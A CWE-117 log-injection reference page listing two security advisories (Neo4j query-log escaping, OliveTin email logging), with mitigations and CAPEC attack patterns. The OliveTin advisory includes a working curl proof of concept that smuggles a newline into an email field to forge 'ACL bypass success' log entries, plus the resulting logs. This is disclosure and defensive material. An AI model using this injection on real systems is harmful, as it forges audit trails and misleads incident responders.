CWE-117
AllowedImproper Output Neutralization for Logs
Abstraction: Base · Status: Draft
The product constructs a log message from external input, but it does not neutralize or incorrectly neutralizes special elements when the message is written to a log file.
192 vulnerabilities reference this CWE, most recent first.
GHSA-XR72-G735-4VWP
Vulnerability from github – Published: 2026-02-06 15:31 – Updated: 2026-02-06 19:41Insufficient escaping of unicode characters in query log in Neo4j Enterprise and Community editions prior to 2026.01 can lead to XSS if the user opens the logs in a tool that treats them as HTML. There is no security impact on Neo4j products, but this advisory is released as a precaution to treat the logs as plain text if using versions prior to 2026.01.
Proof of concept exploit: https://github.com/JoakimBulow/CVE-2026-1337
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.neo4j:neo4j"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.01"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1337"
],
"database_specific": {
"cwe_ids": [
"CWE-117"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-06T19:41:15Z",
"nvd_published_at": "2026-02-06T14:16:38Z",
"severity": "LOW"
},
"details": "Insufficient escaping of unicode characters in query log in Neo4j Enterprise and Community editions prior to 2026.01 can lead to XSS if the user opens the logs in a tool that treats them as HTML. There is no security impact on Neo4j products, but this advisory is released as a precaution to treat the logs as plain text if using versions prior to 2026.01.\n\nProof of concept exploit:\u00a0 https://github.com/JoakimBulow/CVE-2026-1337",
"id": "GHSA-xr72-g735-4vwp",
"modified": "2026-02-06T19:41:15Z",
"published": "2026-02-06T15:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1337"
},
{
"type": "WEB",
"url": "https://github.com/JoakimBulow/CVE-2026-1337"
},
{
"type": "PACKAGE",
"url": "https://github.com/neo4j/neo4j"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Neo4j Enterprise and Community editions have insufficient escaping of unicode characters in query log"
}
GHSA-XX6G-43W2-9G6G
Vulnerability from github – Published: 2026-03-12 14:20 – Updated: 2026-03-12 14:20Summary
The typeSafetyCheckEmail() function in service/internal/executor/arguments.go calls log.Errorf() on every invocation including when validation succeeds (err == nil). This means every email address submitted by any user is written to the application's ERROR-level log unconditionally. Because the raw user-supplied value is logged without sanitization, an attacker can inject newline characters to forge arbitrary structured log entries (log injection). In deployments using centralized logging (ELK, Splunk, Grafana), the injected lines are parsed as real events, enabling fake security alerts, audit trail manipulation, and persistent misdirection of incident response.
Details
File: service/internal/executor/arguments.go Line: 254 Version confirmed: 3000.11.1
Vulnerable code
func typeSafetyCheckEmail(value string) error {
_, err := mail.ParseAddress(value)
log.Errorf("Email check: %v, %v", err, value)
if err != nil {
return err
}
return nil
}
The log.Errorf call was likely introduced as a debug statement during development and was never removed before release. It has three distinct security consequences:
- PII Exposure via ERROR logs
Every email address (valid or invalid) submitted to any action with type: email is written to the ERROR log. In production deployments, ERROR logs are typically forwarded to centralized systems (Splunk, ELK, Datadog) and retained long-term. Email addresses constitute PII under
- Log Injection
The %v format verb renders the raw value string without escaping newlines or control characters. An attacker who can reach any action with a type: email argument can send:
alice@example.com\nlevel="error" msg="ACL bypass success" username="admin"
OliveTin writes two lines to the log. Structured log parsers (logfmt, JSON) treat the second line as an independent real event. This enables:
- Forged security alerts that trigger real PagerDuty/Opsgenie pages
- Audit trail manipulation hiding real events among noise
-
False positives that exhaust on-call responder attention (alert fatigue)
-
Alert Fatigue
Because even successful validations emit ERROR-level entries, any production deployment with email-type actions generates continuous spurious error alerts. Monitoring systems configured to alert on level=error will fire on every normal form submission.
Affected execution: mode: exec: only The shell: execution mode blocks email type arguments via checkShellArgumentSafety() before typeSafetyCheckEmail() is ever reached. The vulnerability is only reachable when the action uses exec: mode which is the recommended and documented mode for email-type arguments (OliveTin explicitly instructs users to use exec: with email type).
PoC
Get the binding ID
BINDING=$(curl -s -X POST http://localhost:1337/api/GetDashboard \
-H "Content-Type: application/json" -d '{}' | \
python3 -c "
import sys,json
d=json.load(sys.stdin)
def f(o):
if isinstance(o,dict):
a=o.get('action')
if a and isinstance(a,dict):
for arg in a.get('arguments',[]):
if arg.get('type')=='email': print(a['bindingId'])
[f(v) for v in o.values()]
elif isinstance(o,list): [f(i) for i in o]
f(d)")
echo "Binding: $BINDING"
Trigger PII exposure (valid email --> ERROR log):
curl -s -X POST http://localhost:1337/api/StartAction \
-H "Content-Type: application/json" \
-d "{\"bindingId\":\"$BINDING\",\"arguments\":[{\"name\":\"recipient\",\"value\":\"alice@example.com\"}]}"
Observed server log (confirmed on 3000.11.1):
docker logs olivetin-test 2>&1 | grep -E "Email check|ACL_bypass" | tail -5
level="error" msg="Email check: <nil>, alice@example.com"
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", a@b.com\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\""
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\", a@b.com\nlevel=error msg=ACL_bypass username=admin"
level="warning" msg="mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\""
level="error" msg="Email check: <nil>, alice@example.com"
Trigger log injection:
curl -s -X POST http://localhost:1337/api/StartAction \
-H "Content-Type: application/json" \
-d "{\"bindingId\":\"$BINDING\",\"arguments\":[{\"name\":\"recipient\",\"value\":\"a@b.com\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\"}]}"
Observed server log injected line appears as a real event:
docker logs olivetin-test 2>&1 | grep -E "Email check|ACL_bypass" | tail -5
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", a@b.com\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\""
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\", a@b.com\nlevel=error msg=ACL_bypass username=admin"
level="warning" msg="mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\""
level="error" msg="Email check: <nil>, alice@example.com"
level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", a@b.com\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\""
Impact
- End users whose email addresses are stored in ERROR logs without consent GDPR/CCPA violation risk for operators
- Security operations teams whose SIEM/log aggregation systems can be fed forged events by any user who can submit email-type action arguments
- On-call engineers subjected to continuous false positive ERROR alerts from valid form submissions
- Operators who use type: email for informal token/API key validation those secrets appear in ERROR logs
Recommendation
func typeSafetyCheckEmail(value string) error {
_, err := mail.ParseAddress(value)
if err != nil {
log.WithField("type", "email").Debugf("Email argument type check failed")
return err
}
return nil
}
Only log on failure, at DEBUG level, and never log the value itself.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/OliveTin/OliveTin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3000.11.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-117",
"CWE-532"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-12T14:20:22Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe typeSafetyCheckEmail() function in service/internal/executor/arguments.go calls log.Errorf() on every invocation including when validation succeeds (err == nil). This means every email address submitted by any user is written to the application\u0027s ERROR-level log unconditionally. Because the raw user-supplied value is logged without sanitization, an attacker can inject newline characters to forge arbitrary structured log entries (log injection). In deployments using centralized logging (ELK, Splunk, Grafana), the injected lines are parsed as real events, enabling fake security alerts, audit trail manipulation, and persistent misdirection of incident response.\n\n### Details\nFile: service/internal/executor/arguments.go Line: 254\nVersion confirmed: 3000.11.1\n\n### Vulnerable code\n\n```go\nfunc typeSafetyCheckEmail(value string) error {\n _, err := mail.ParseAddress(value)\n log.Errorf(\"Email check: %v, %v\", err, value) \n if err != nil {\n return err\n }\n return nil\n}\n```\n\nThe log.Errorf call was likely introduced as a debug statement during development and was never removed before release. It has three distinct security consequences:\n\n1. PII Exposure via ERROR logs\n\nEvery email address (valid or invalid) submitted to any action with type: email is written to the ERROR log. In production deployments, ERROR logs are typically forwarded to centralized systems (Splunk, ELK, Datadog) and retained long-term. Email addresses constitute PII under \n\n3. Log Injection\n\nThe %v format verb renders the raw value string without escaping newlines or control characters. An attacker who can reach any action with a type: email argument can send:\n\n`alice@example.com\\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\"`\n\nOliveTin writes two lines to the log. Structured log parsers (logfmt, JSON) treat the second line as an independent real event. This enables:\n\n- Forged security alerts that trigger real PagerDuty/Opsgenie pages\n- Audit trail manipulation hiding real events among noise\n- False positives that exhaust on-call responder attention (alert fatigue)\n\n4. Alert Fatigue\n\nBecause even successful validations emit ERROR-level entries, any production deployment with email-type actions generates continuous spurious error alerts. Monitoring systems configured to alert on level=error will fire on every normal form submission.\n\nAffected execution:\nmode: exec: only \nThe shell: execution mode blocks email type arguments via checkShellArgumentSafety() before typeSafetyCheckEmail() is ever reached. The vulnerability is only reachable when the action uses exec: mode which is the recommended and documented mode for email-type arguments (OliveTin explicitly instructs users to use exec: with email type).\n\n## PoC\n\n### Get the binding ID\n\n```bash\nBINDING=$(curl -s -X POST http://localhost:1337/api/GetDashboard \\\n -H \"Content-Type: application/json\" -d \u0027{}\u0027 | \\\n python3 -c \"\nimport sys,json\nd=json.load(sys.stdin)\ndef f(o):\n if isinstance(o,dict):\n a=o.get(\u0027action\u0027)\n if a and isinstance(a,dict):\n for arg in a.get(\u0027arguments\u0027,[]):\n if arg.get(\u0027type\u0027)==\u0027email\u0027: print(a[\u0027bindingId\u0027])\n [f(v) for v in o.values()]\n elif isinstance(o,list): [f(i) for i in o]\nf(d)\")\necho \"Binding: $BINDING\"\n```\n\n### Trigger PII exposure (valid email --\u003e ERROR log):\n\n```bash\ncurl -s -X POST http://localhost:1337/api/StartAction \\\n -H \"Content-Type: application/json\" \\\n -d \"{\\\"bindingId\\\":\\\"$BINDING\\\",\\\"arguments\\\":[{\\\"name\\\":\\\"recipient\\\",\\\"value\\\":\\\"alice@example.com\\\"}]}\"\n```\n\n### Observed server log (confirmed on 3000.11.1):\n\n```bash\ndocker logs olivetin-test 2\u003e\u00261 | grep -E \"Email check|ACL_bypass\" | tail -5\nlevel=\"error\" msg=\"Email check: \u003cnil\u003e, alice@example.com\"\nlevel=\"error\" msg=\"Email check: mail: expected single address, got \\\"\\\\nlevel=\\\\\\\"error\\\\\\\" msg=\\\\\\\"ACL bypass success\\\\\\\" username=\\\\\\\"admin\\\\\\\"\\\", a@b.com\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\"\nlevel=\"error\" msg=\"Email check: mail: expected single address, got \\\"\\\\nlevel=error msg=ACL_bypass username=admin\\\", a@b.com\\nlevel=error msg=ACL_bypass username=admin\"\nlevel=\"warning\" msg=\"mail: expected single address, got \\\"\\\\nlevel=error msg=ACL_bypass username=admin\\\"\"\nlevel=\"error\" msg=\"Email check: \u003cnil\u003e, alice@example.com\"\n```\n\n### Trigger log injection:\n\n```bash\ncurl -s -X POST http://localhost:1337/api/StartAction \\\n -H \"Content-Type: application/json\" \\\n -d \"{\\\"bindingId\\\":\\\"$BINDING\\\",\\\"arguments\\\":[{\\\"name\\\":\\\"recipient\\\",\\\"value\\\":\\\"a@b.com\\nlevel=\\\\\\\"error\\\\\\\" msg=\\\\\\\"ACL bypass success\\\\\\\" username=\\\\\\\"admin\\\\\\\"\\\"}]}\"\n```\n\n### Observed server log injected line appears as a real event:\n\n```bash\ndocker logs olivetin-test 2\u003e\u00261 | grep -E \"Email check|ACL_bypass\" | tail -5\nlevel=\"error\" msg=\"Email check: mail: expected single address, got \\\"\\\\nlevel=\\\\\\\"error\\\\\\\" msg=\\\\\\\"ACL bypass success\\\\\\\" username=\\\\\\\"admin\\\\\\\"\\\", a@b.com\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\"\nlevel=\"error\" msg=\"Email check: mail: expected single address, got \\\"\\\\nlevel=error msg=ACL_bypass username=admin\\\", a@b.com\\nlevel=error msg=ACL_bypass username=admin\"\nlevel=\"warning\" msg=\"mail: expected single address, got \\\"\\\\nlevel=error msg=ACL_bypass username=admin\\\"\"\nlevel=\"error\" msg=\"Email check: \u003cnil\u003e, alice@example.com\"\nlevel=\"error\" msg=\"Email check: mail: expected single address, got \\\"\\\\nlevel=\\\\\\\"error\\\\\\\" msg=\\\\\\\"ACL bypass success\\\\\\\" username=\\\\\\\"admin\\\\\\\"\\\", a@b.com\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\"\n```\n\n### Impact\n- End users whose email addresses are stored in ERROR logs without consent GDPR/CCPA violation risk for operators\n- Security operations teams whose SIEM/log aggregation systems can be fed forged events by any user who can submit email-type action arguments\n- On-call engineers subjected to continuous false positive ERROR alerts from valid form submissions\n- Operators who use type: email for informal token/API key validation those secrets appear in ERROR logs\n\n### Recommendation\n\n```go\nfunc typeSafetyCheckEmail(value string) error {\n _, err := mail.ParseAddress(value)\n if err != nil {\n log.WithField(\"type\", \"email\").Debugf(\"Email argument type check failed\")\n return err\n }\n return nil\n}\n```\n\n`Only log on failure, at DEBUG level, and never log the value itself.`",
"id": "GHSA-xx6g-43w2-9g6g",
"modified": "2026-03-12T14:20:39Z",
"published": "2026-03-12T14:20:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-xx6g-43w2-9g6g"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/commit/bc5e9fbe1e22ff87a4b277cb56605a46a10e561a"
},
{
"type": "PACKAGE",
"url": "https://github.com/OliveTin/OliveTin"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OliveTin\u0027s email argument makes compliance harder, enables log injection"
}
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-30
Strategy: Output Encoding
Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
Mitigation MIT-20
Strategy: Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
CAPEC-268: Audit Log Manipulation
The attacker injects, manipulates, deletes, or forges malicious log entries into the log file, in an attempt to mislead an audit of the log file or cover tracks of an attack. Due to either insufficient access controls of the log files or the logging mechanism, the attacker is able to perform such actions.
CAPEC-81: Web Server Logs Tampering
Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.
CAPEC-93: Log Injection-Tampering-Forging
This attack targets the log files of the target host. The attacker injects, manipulates or forges malicious log entries in the log file, allowing them to mislead a log audit, cover traces of attack, or perform other malicious actions. The target host is not properly controlling log access. As a result tainted data is resulting in the log files leading to a failure in accountability, non-repudiation and incident forensics capability.